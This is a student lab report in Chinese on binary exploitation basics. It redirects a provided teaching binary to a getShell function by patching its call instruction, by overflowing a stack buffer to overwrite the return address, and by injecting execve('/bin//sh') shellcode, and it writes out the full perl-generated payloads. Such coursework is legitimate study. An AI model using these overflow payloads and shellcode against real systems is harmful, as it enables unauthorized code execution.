1.实验内容
通过三种不同的技术手段,设法使程序执行getShell
函数代码片段,方法如下:
方法一:手工修改可执行文件,直接改变程序的执行流程,使其跳转至getShell
函数。
方法二:利用foo
函数中的缓冲区溢出漏洞,构造特殊的输入字符串,覆盖函数的返回地址,从而触发getShell
函数。
方法三:向程序中注入一个自己制作的Shellcode,并设法运行这段代码。
2.实验过程
(1)实验环境搭建
准备Linux系统,在vmware上安装kali系统虚拟机
我在kali官网上下载了kali的vmware虚拟机,直接应用于已经装好的vmware。
(2)进行实验
A.方法一:直接修改可执行文件跳转至getshell
将给出的pwn文件复制到虚拟机桌面,修改名字为pwn20232320,该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串,如下图
对文件进行反汇编操作,找到函数调用的相关指令
objdump -d pwn1 | more
得到其中的核心部分如图
其中main中的第四行“call 8048491”表示这条指令将调用位于地址8048491处的foo函数,其对应机器指令为“e8 d7ffffff”,e8即跳转之意,按照正常流程此时EIP的值应该是下条指令的地址,即80484ba,但由于e8这条跳转指令,CPU就会转而执行“EIP+d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba+d7ffffff=80484ba-0x29,正好是8048491这个值,所以将会执行8048491位置的foo函数。
由此跳转,那我们想让它调用getShell,只要修改“d7ffffff”为getShell-80484ba对应的补码就行,由上图可知getshell地址804847d,计算47d-4ba为c3ffffff。
所以我们的实验思路是修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
vi进入pwn20232320,在乱码界面按Esc键,然后输入:%!xxd将显示模式切换为16进制模式
查找要修改的内容/e8d7
(先按i进入编辑模式再改,改完按Esc键退出)
修改d7为c3
输入
:%!xxd -r
转换16进制为原格式
输入:wq存盘退出vi
反汇编查看一下call指令是否正确运用于shell
由main中第四行e8c3ffffff,可以看到该条指令现在调用的是getShell函数
此时再次运行文件,可以进入shell
B.方法二:利用foo
函数中的缓冲区溢出漏洞,覆盖函数的返回地址触发getShell
函数
反汇编,了解程序基本功能
foo函数有Buffer overflow漏洞:foo读入字符串,但系统只预留了0x1c(28字节)的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。
确认输入字符串哪几个字符会覆盖到返回地址
安装gdb,若找不到该命令,则需先进行安装操作
sudo chmod a+w /etc/apt/sources.list
sudo chmod a-w /etc/apt/sources.list
sudo su
apt-get update
apt-get install gdb
最后再通过gdb -v,显示出版本号即为安装成功
分析覆盖返回地址的字符
启动gdb,输入1111111122222222333333334444444412345678
使用info r查看EIP寄存器中的数据,发现eip的值是0x34333231,即4321的ascii码
由此可以确定了应该如何设置攻击字符串,即将第33至第36个字符设置为804847d按字节的倒序
不能通过键盘直接输入,所以先利用perl软件生成包括这样字符串的一个文件
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20232320
(关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中)
可以用“xxd input20232320”命令查看文件内容,发现内容正确
将input的输入,通过管道符“|”,作为pwn20232320a的输入
成功触发getshell
C.方法三:注入一个自己制作的shellcode并运行这段shellcode
准备工作,查看堆栈是否可执行,关闭地址随机化
构造要注入的payload
首先构造一个shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20232320
接下来我们来确定\x4\x3\x2\x1到底该填什么
打开一个终端注入这段攻击buf
再开另外一个终端,用gdb来调试pwn20232320b这个进程
找到进程号为147869
启动gdb调试这个进程
通过设置断点来找到注入buf的内存地址
可以看到断在080484ae,在另一个终端中按下回车,继续运行当前终端
01020304是返回地址的位置,shellcode挨着,就在cf80,再次注入
perl -e 'print "A" x 32;print "\x80\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x60\xcf\xff\xff\x00"' > input_shellcode20232320
成功!
3.问题及解决方案
- 问题1:方法一中使用objdump查看文件但是文件格式无法识别
- 问题1解决方案:查阅资料说是修改后没有从十六进制改回来,只能重来了...所以要注意把d7修改成c3后需要退出十六进制形式,否则使用命令objdump无法查看,且这时再次使用vi进行退出十六进制再查看也不行,因为文件已经损坏
(这是查看了文件格式说明确实没有从十六进制改回来)
- 问题2:使用execstack找不到命令,下载也找不到安装包
4.学习感悟与思考
有关本次实验操作过程中遇到的阻碍,首先是kali虚拟机的安装配置,在下载途中下载进度已经100%了但是仍然等了很久真正才下载完成,在vmware上配置的时候也没有发现自己下载的就是虚拟机可以直接运行。
在正式的实验过程中,方法一二进行一个shell的跳转我做的还是比较顺利,唯一一个拦路虎是我在可视模式和编辑模式的切换上还不是很熟,对于这种指令还不够熟练。
在方法三的实验过程中,我不是很理解01020304的位置地址和shell的地址关系,这里我询问了同学,最终明白了最开始编写的shellcode对于确定这个shell的位置的作用。
这次实验在简单的环境下通过自己的操作进行了这样一个网络攻防的过程,我获得了一点点成就感,但是也明白我要学习真正的网络攻防是任重而道远,这门课也需要理论与实践相结合才能走得更远。
参考资料
ExpGuides/0x11_MAL_逆向与Bof基础.md · wildlinux/NetSec - Gitee.com